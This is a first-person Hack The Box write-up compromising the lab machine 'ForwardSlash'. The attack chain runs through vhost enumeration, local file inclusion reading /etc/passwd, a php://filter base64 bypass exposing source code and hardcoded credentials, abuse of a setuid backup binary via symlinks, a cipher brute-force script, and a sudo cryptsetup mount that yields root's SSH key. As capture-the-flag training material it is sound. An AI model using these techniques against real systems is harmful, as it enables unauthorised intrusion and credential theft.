HTB - ForwardSlash


Useful Skills and Tools


Nmap scan

I started my enumeration of this system with an nmap scan of The options I regularly use are: -p-, which is a shortcut which tells nmap to scan all TCP ports, -sC is the equivalent to --script=default and runs a collection of nmap enumeration scripts against the target, -sV does a service scan, and -oN <name> saves the output with a filename of <name>.
[email protected]:~/htb/forwardslash$ nmap -p- -sC -sV -oN forwardslash.nmap
Starting Nmap 7.80 ( ) at 2020-07-06 15:59 EDT
Nmap scan report for forwardslash.htb (
Host is up (0.046s latency).
Not shown: 65533 closed ports
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 3c:3b:eb:54:96:81:1d:da:d7:96:c7:0f:b4:7e:e1:cf (RSA)
| 256 f6:b3:5f:a2:59:e3:1e:57:35:36:c3:fe:5e:3d:1f:66 (ECDSA)
|_ 256 1b:de:b8:07:35:e8:18:2c:19:d8:cc:dd:77:9c:f2:5e (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Backslash Gang
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 44.01 seconds
This machine only had two ports open, 80 - HTTP & 22 - SSH. Since I had no credentials to use for SSH I fired up a browser and navigated to
This page was automatically redirected to from
When I connected to port 80 it automatically redirected to forwardslash.htb. In order to redirect my request to get to this pageI had to add the following line to /etc/hosts: forwardslash.htb
After adding the hostname to /etc/hosts I navigated to http://forwardslash.htb and was greeted by webpage that had been defaced by the "Backslash Gang".
title - Backslash Gang
The Backslash Gang left a message behind:
Defaced • This was ridiculous, who even uses XML and Automatic FTP Logins
This looked like clues as to how they managed to get into the site. I made note to look for services related to FTP and XML during my enumeration. Other than this defaced page, there was not much to go off so I continued my enumeration.

Dirbuster - forwardslash.htb

Using Dirbuster I found what initially looked like a large number of files, but after doing some closer inspection, the server was simply giving a 403 - Access Denied error to any request that contained .htaccess or .htpasswd in it. One accessible file stuck out, however.
It appeared that one of the server owners had left the other a note. The file note.txt mentioned two potential usernames: pain and chiv and also mentioned that there is a backup site.

Virtual Host Enumeration

Ippsec's video on HTB - Player describes "vhost enumeration" and explains how to search for other virtual hosts which map to the same IP address. From watching this video before I knew that you could enumerate these sites using the tool gobuster:
[email protected]:~/htb/forwardslash$ gobuster vhost -u http://forwardslash.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url: http://forwardslash.htb
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
2020/07/03 13:41:04 Starting gobuster
Found: backup.forwardslash.htb (Status: 302) [Size: 33]
2020/07/03 13:50:13 Finished
I used a wordlist of the top 110,000 most common subdomain names, and quickly found the backup site that chiv had mentioned in his note. Once again, I added this domain name to /etc/hosts and tried to access the site.

The Backup site

Navigating to http://backup.forwardslash.htb auto-redirected me once again, this time to a login page at http://backup.forwardslash.htb/login.php. Since I did not have any credentials, I signed up for a new account and logged in.
Once I was logged in, I was greeted by this page. This so-called dashboard did not offer much to do.
Breaking the fourth wall
The machine creator left behind a message for everyone playing with a friendly public service announcement. Don't smoke, folks. Its disgusting and think of all of the cat-girls you can save.
Since I wasn't finding much to use, I started employing cewl to create a wordlist from each of the pages on this site and from the main page.
cewl -H Cookie:PHPSESSID=h8242m3lv04gh9veco69de98ni http://backup.forwardslash.htb/environment.php >> forwardslash.cewl
This is a good habit to get into: always add new sites to cewl word list just in case. This will often give you potential usernames, passwords, or new subdomain and sites to explore.

Dirbuster redux - backup.forwardslash.htb

Around this time my Dirbuster report from this new subdomain had finished. There were a lot of results to go through, so I decided to finish going through the ones I had seen when I logged in before exploring further.
The URL and Submit sections on the http://backup.forwardslash.htb/profilepicture.php page were disabled, but I wondered if it was something I could easily bypass by checking the HTML code.
As I suspected, they had simply used the "disabled" attribute for the two sections. Removing this code made it so the fields were again active.
<!-- TODO: removed all the code to actually change the picture after backslash gang
attacked us, simply echos as debug now -->

Local File Inclusion testing

used burp to enumerate the potential for LFI
got /etc/passwd
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false
I found two users with login capability: chiv and pain. I have seen them both leaving notes to the other in the HTML code, and note.txt earlier.
While testing different methods of both uploading files and downloading files from the server, I accidentally pasted in the URL for http://backup.forwardslash.htb/config.php and got the back-end code file back.
//credentials for the temp db while we recover, had to backup old config, didn't want it getting compromised -pain
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'www-data');
define('DB_PASSWORD', '5iIwJX0C2nZiIhkLYE7n314VcKNx8uMkxfLvCTz2USGY180ocz3FQuVtdCy3dAgIMK3Y8XFZv9fBi6OwG6OYxoAVnhaQkm7r2ec');
define('DB_NAME', 'site');
/* Attempt to connect to MySQL database */
$link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
// Check connection
if($link === false){
die("ERROR: Could not connect. " . mysqli_connect_error());
I now had what looked to be a password hash for the www-data user, but I knew from /etc/passwd that the user was not able to log into a shell. I kept trying for all of the other sites I had seen in my enumeration using dirbuster such as api.php, login.php, profilepicture.php but each time I just got back the message "Permission Denied; not that way ;)". The winking smiley and the "not that way" line made it sound as if I was headed in the right direction, but I just needed to try a bit harder.

Bypassing web filtering

My initial thought was that there was a web-application firewall, so I searched around a bit until I found I kept looking for more ways after testing different bypass methods, as nothing seemed to even get a response. I started doing a bit of research into bypassing PHP web filtering and came across a section on PayloadsAlltheThings that was made just for this situation with PHP file inclusion. Inclusion/
There were various code examples for bypassing PHP filters, such as by encoding the request in base64 or rot-13. I decided to just try using the base64 encoding first, trying pHp://FilTer/convert.base64-encode/resource=login.php. Luckily for me, it worked right away! I was able to retrieve the login.php page, encoded in base64. I simply had to use the decode function in Burp to get the page code. Unfortunately there was nothing useful in that page. After that I went through and downloaded all of the pages I had seen in dirbuster until I got to pHp://FilTer/convert.base64-encode/resource=dev/index.php which returned the base64 string:
which decodes to: dev/index.php
//include_once ../session.php;
// Initialize the session
if((!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true || $_SESSION['username'] !== "admin") && $_SERVER['REMOTE_ADDR'] !== ""){
header('HTTP/1.0 403 Forbidden');
echo "<h1>403 Access Denied</h1>";
echo "<h3>Access Denied From ", $_SERVER['REMOTE_ADDR'], "</h3>";
//echo "<h2>Redirecting to login in 3 seconds</h2>"
//echo '<meta http-equiv="refresh" content="3;url=../login.php" />';
//header("location: ../login.php");
<h1>XML Api Test</h1>
<h3>This is our api test for when our new website gets refurbished</h3>
<form action="/dev/index.php" method="get" id="xmltest">
<textarea name="xml" form="xmltest" rows="20" cols="50"><api>
<input type="submit">
<!-- TODO:
Fix FTP Login
if ($_SERVER['REQUEST_METHOD'] === "GET" && isset($_GET['xml'])) {
$reg = '/ftp:\/\/[\s\S]*\/\"/';
//$reg = '/((((25[0-5])|(2[0-4]\d)|([01]?\d?\d)))\.){3}((((25[0-5])|(2[0-4]\d)|([01]?\d?\d))))/'
if (preg_match($reg, $_GET['xml'], $match)) {
$ip = explode('/', $match[0])[2];
echo $ip;
$conn_id = ftp_connect($ip) or die("Couldn't connect to $ip\n");
error_log("Logging in");
if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {
error_log("Getting file");
echo ftp_get_string($conn_id, "debug.txt");
libxml_disable_entity_loader (false);
$xmlfile = $_GET["xml"];
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$api = simplexml_import_dom($dom);
$req = $api->request;
echo "-----output-----<br>\r\n";
echo "$req";
function ftp_get_string($ftp, $filename) {
$temp = fopen('php://temp', 'r+');
if (@ftp_fget($ftp, $temp, $filename, FTP_BINARY, 0)) {
return stream_get_contents($temp);
else {
return false;
Here was the hardcoded FTP-Autologin code that the Backslash Gang had so disdained, and I now had credentials for the user chiv . I then tried using this username/password combo to SSH into the machine, and was greeted with a shell.

Initial Foothold

Enumeration as user chiv

Unfortunately, this user was not the one with the flag, so I assumed that I would need to move laterally to pain in order to get my first score. my go-to enumeration all-in-one script
open ports -nope
[+] Users with console
[+] Readable files inside /tmp, /var/tmp, /var/backups(limit 70)
-r--r--r-- 1 root root 129 May 27 2019 /var/backups/note.txt
[+] Searching passwords in config PHP files
define('DB_PASSWORD', '5iIwJX0C2nZiIhkLYE7n314VcKNx8uMkxfLvCTz2USGY180ocz3FQuVtdCy3dAgIMK3Y8XFZv9fBi6OwG6OYxoAVnhaQkm7r2ec');
$link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);

The python script

I had access to pain's home folder, which was a bit unusual. Inside was another note, and a python script with some ciphertext in the encryptorinator/ folder.
[email protected]:/home/pain$ ls
encryptorinator note.txt user.txt
[email protected]:/home/pain$ cat note.txt
Pain, even though they got into our server, I made sure to encrypt any important files and then did some crypto magic on the key... I gave you the key in person the other day, so unless these hackers are some crypto experts we should be good to go.
[email protected]:/home/pain/encryptorinator$ ls -la
total 16
drwxr-xr-x 2 pain root 4096 Mar 24 12:06 .
drwxr-xr-x 7 pain pain 4096 Mar 17 20:28 ..
-rw-r--r-- 1 pain root 165 Jun 3 2019 ciphertext
-rw-r--r-- 1 pain root 931 Jun 3 2019
I exfiltrated the two files to my machine to make analysis easier.
[email protected]:/home/pain/encryptorinator$ python -m SimpleHTTPServer 8099
Serving HTTP on port 8099 ... - - [06/Jul/2020 14:05:56] "GET / HTTP/1.1" 200 - - - [06/Jul/2020 14:06:07] "GET /ciphertext HTTP/1.1" 200 -
The python script was redacted, and no longer contained the code to decrypt the ciphertext.
print encrypt('REDACTED', 'REDACTED')
print decrypt('REDACTED', encrypt('REDACTED', 'REDACTED'))
At first, I thought "lets check the backups I saw while enumerating with linpeas and see if the whole script is available". (By the way, there is no "whole script" and you could go ahead and decrypt it right now.)

Road to User

Further enumeration

In the /usr/bin/ folder there was an interesting program that stuck out to me.
-r-sr-xr-x 1 pain pain 13384 Mar 6 10:06 backup
This program had the setuid bit set and was owned by pain. I thought that I may be able to use this binary to escalate privileges laterally to pain.
In the /var/backups folder, I found a bunch of files that had been backed up, as well as another note from pain.
[email protected]:/var/backups$ ls -la
total 1004
drwxr-xr-x 3 root root 4096 Jul 6 06:25 .
drwxr-xr-x 14 root root 4096 Mar 5 14:25 ..
-rw-r--r-- 1 root root 61440 Mar 24 06:25 alternatives.tar.0
-rw-r--r-- 1 root root 38908 Mar 24 06:17 apt.extended_states.0
-rw-r--r-- 1 root root 4115 Mar 6 14:17 apt.extended_states.1.gz
-rw-r--r-- 1 root root 3909 Mar 5 14:46 apt.extended_states.2.gz
-rw------- 1 pain pain 526 Jun 21 2019 config.php.bak
-rw-r--r-- 1 root root 437 Mar 5 14:07 dpkg.diversions.0
-rw-r--r-- 1 root root 202 Mar 5 14:07 dpkg.diversions.1.gz
-rw-r--r-- 1 root root 207 Mar 5 14:47 dpkg.statoverride.0
-rw-r--r-- 1 root root 171 Mar 5 14:47 dpkg.statoverride.1.gz
-rw-r--r-- 1 root root 668374 Mar 24 06:17 dpkg.status.0
-rw-r--r-- 1 root root 188241 Mar 24 06:17 dpkg.status.1.gz
-rw------- 1 root root 730 Mar 17 20:13 group.bak
-rw------- 1 root shadow 604 Mar 17 20:13 gshadow.bak
-r--r--r-- 1 root root 129 May 27 2019 note.txt
-rw------- 1 root root 1660 Mar 5 14:46 passwd.bak
drwxrwx--- 2 root backupoperator 4096 May 27 2019 recovery
-rw------- 1 root shadow 1174 Mar 6 14:21 shadow.bak
[email protected]:/var/backups$ cat note.txt
Chiv, this is the backup of the old config, the one with the password we need to actually keep safe. Please DO NOT TOUCH.
I assumed he was talking about this file: -rw------- 1 pain pain 526 Jun 21 2019 config.php.bak since I had found another password in the config.php file on the backup site earlier. Perhaps this password was not encrypted like the previous one.
and we do not have access to /var/backups/recovery. Will need to go back and check out that backup binary again. Since its in $PATH I just ran it.
Pain's Next-Gen Time Based Backup Viewer
NOTE: not reading the right file yet,
only works if backup is taken in same second
Current Time: 17:14:04
ERROR: d09b25378e01dd1af648dca8a641e52e Does Not Exist or Is Not Accessible By Me, Exiting...
hmmm...its looking for the hash of something, and says something about only working if the backup is taken in the same second, and displays the time. After some experimentation, discovered that the hash is an md5 hash of the current time in HH:MM:SS format. echo $(date +%T) | md5sum | cut -c1-32 will get me a hash of the time that matches the time in the backup program, now need to script reading the file and sending the hash at the same time (cut because md5sum adds - <filename>at the end of its output).
Try it on the config backup. I had seen a long hash in the one I found before, maybe this one is pre-encryption.
Oooohhhh...need to make a symbolic link of the file, to the proper hash; also don't need to call backup ON the file, just run it in the directory you want it to work in
After much trial and error: getting the hash of the time wasn't working (machine or network lag perhaps?) so I decided to pull the hash directly from the program and symlink the backup file to it
[email protected]:/dev/shm$ ./
Pain's Next-Gen Time Based Backup Viewer
NOTE: not reading the right file yet,
only works if backup is taken in same second
Current Time: 18:33:28
File cannot be opened.
after some more trial and error...found out that the script must be executed from user's home directory. Successfully got my test file to be read. Next, the config backup/.

Finding user creds

[email protected]:~$ /dev/shm/
Pain's Next-Gen Time Based Backup Viewer
NOTE: not reading the right file yet,
only works if backup is taken in same second
Current Time: 18:38:30
/* Database credentials. Assuming you are running MySQL
server with default setting (user 'root' with no password) */
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'pain');
define('DB_PASSWORD', 'db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704');
define('DB_NAME', 'site');
/* Attempt to connect to MySQL database */
$link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
// Check connection
if($link === false){
die("ERROR: Could not connect. " . mysqli_connect_error());
Tried to decrypt the password at first, though it was not a hash despite its looks, was the actual password


encryptorinator note.txt user.txt
[email protected]:~$ cat user.txt

Path to Power (Gaining Administrator Access)

Enumeration as User pain

Enumeration as this user was pretty short, since I had already found most everything as chiv. As I always to when logging in as a new user, I checked my privileges with sudo -l and groups.
[email protected]:/var/backups/recovery$ sudo -l
Matching Defaults entries for pain on forwardslash:
env_reset, mail_badpass,
User pain may run the following commands on forwardslash:
(root) NOPASSWD: /sbin/cryptsetup luksOpen *
(root) NOPASSWD: /bin/mount /dev/mapper/backup ./mnt/
(root) NOPASSWD: /bin/umount ./mnt/
pain backupoperator
The backupoperator group sounded familiar. I had seen it earlier on a folder I couldn't access in /var/backups.

The encrypted backup file

[email protected]:/var/backups$ cd recovery/
[email protected]:/var/backups/recovery$ ls -la
total 976576
drwxrwx--- 2 root backupoperator 4096 Jul 6 19:35 .
drwxr-xr-x 3 root root 4096 Jul 6 06:25 ..
-rw-r----- 1 root backupoperator 1000000000 Jul 6 19:35 encrypted_backup.img
I navigated to this folder and found the file encrypted_backup.img. This had to be the backup file that pain had sudo rights to manipulate.
When trying to use luksOpen to decrypt the backup file, however, it prompted me for a passphrase. The note in pain's home folder had mentioned some "crypto magic" that had been applied to the key, so I went back to try to decrypt that ciphertext with the python script.

Python decryption script revisited

Working on script, lots of trial and error

Fixing UnicodeDecodeError in Python scripts

UnicodeDecodeError: 'utf-8' codec can't decode byte 0xf1 in position 932: invalid continuation byte
recieved error: while trying to decrypt. (have seen this with rockyou.txt in the past as well). - encoding problems with rockyou.txt and ciphertext solved by using 'latin' encoding
[email protected]:~/htb/forwardslash$ vi -c 'let $enc = &fileencoding | execute "!echo Encoding: $enc" | q' ciphertext
Encoding: latin1
Press ENTER or type command to continue
final script:
import string
def decrypt(key, msg):
lkey = list(key)
lmsg = list(msg)
for char_key in reversed(lkey):
for i in reversed(range(len(lmsg))):
if i == 0:
tmp = ord(lmsg[i]) - (ord(char_key) + ord(lmsg[-1]))
tmp = ord(lmsg[i]) - (ord(char_key) + ord(lmsg[i-1]))
while tmp < 0:
tmp += 256
if tmp > 256:
tmp = 105 #randomly picked to fix out-of-range chars
elif tmp == 0:
tmp = 90 #randomly picked to fix out-of-range chars
lmsg[i] = chr(tmp)
return ''.join(lmsg)
#checks the output from crypto and sees if at least 60% is ascii letters and returns true for possible plaintext
def is_plaintext(ptext):
num_letters = sum(map(lambda x : 1 if x in string.ascii_letters else 0, ptext))
if num_letters / len(ptext) >= .6:
return True
def main():
with open('ciphertext', 'r', encoding='latin1') as ctext, open('key', 'r', encoding='latin1') as rock:
cipher =
#print(cipher + ': ' + str(len(cipher))) #for testing that the cypher is being read properly. Needed latin encoding, as UTF-8 invalid
for line in rock:
line = line.strip() #remove any spaces or newlines
#print('trying: ' + line) #testing file read purposes...too many lines of output to keep
ptext = decrypt(line, cipher)
#only print the result if it contains > 60% letters, can be tweaked.
if is_plaintext(ptext):
print('plaintext found: ' + ptext)
print('The key was: ' + line)
exit() #exit on positive result. Remove if false positives.
if (__name__ == '__main__'):
except KeyboardInterrupt:
Python script ouput
[email protected]:~/htb/forwardslash$ python3 ./
plaintext found: ©¹b`ÛºK§T=ox&yorSÔaé[8vá[(ý;fryption tool, pretty secure hÏäþð5ÖMG3õzhere is the key to the encrypted image from /var/backups/recovery: cB!6%sdHòj^@Y*$C2cf
The key was: theroadtorainbows
Since I had now done the hard part and decrypted the backup password with my python script, the next part was fairly straightforward. The commands we are allowed to use with sudo spell out what we can do.
luksOpen (old syntax)
Opens the LUKS device <device> and sets up a mapping <name> after successful verification of the supplied passphrase. If the passphrase is not supplied via --key-file, the command prompts for it interactively.
the device name will be our backup file, the <name> will be backup (command says /bin/mount /dev/mapper/backup ./mnt/) and we will need to make a directory called ./mnt/

Getting a shell

[email protected]:/var/backups/recovery$ sudo cryptsetup luksOpen encrypted_backup.img backup
Enter passphrase for encrypted_backup.img:
[email protected]:/var/backups/recovery$ sudo /bin/mount /dev/mapper/backup ./mnt/
[email protected]:/var/backups/recovery$ cd mnt/
[email protected]:/var/backups/recovery/mnt$ ls
[email protected]:/var/backups/recovery/mnt$ cat id_rsa
I now had an SSH key. Since neither pain or chiv needed an RSA key to login using SSH I assumed this was root's private key.


Trying to login with this key, I encountered an error I had seen before.
[email protected]:~/htb/forwardslash$ ssh -i root.id_rsa [email protected]
load pubkey "root.id_rsa": invalid format
Permissions 0644 for 'root.id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "root.id_rsa": bad permissions
[email protected]'s password:
I knew I was right that this was root's key. Though, as always, you have to make sure to apply chmod 600 <file> to your SSH private keys before use!
[email protected]:~/htb/forwardslash$ chmod 600 root.id_rsa
[email protected]:~/htb/forwardslash$ ssh -i root.id_rsa [email protected]
load pubkey "root.id_rsa": invalid format
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)
[email protected]:~# cat root.txt
and...root. While logging in, I received the error load pubkey "root.id_rsa": invalid format, though it didn't cause any issues. According to this happens when the public key is missing or corrupted. In this case it wasn't present, therefore the error.
Thanks to InfoSecJack chivato& for <something interesting or useful about this machine.
If you like this content and would like to see more, please consider buying me a coffee!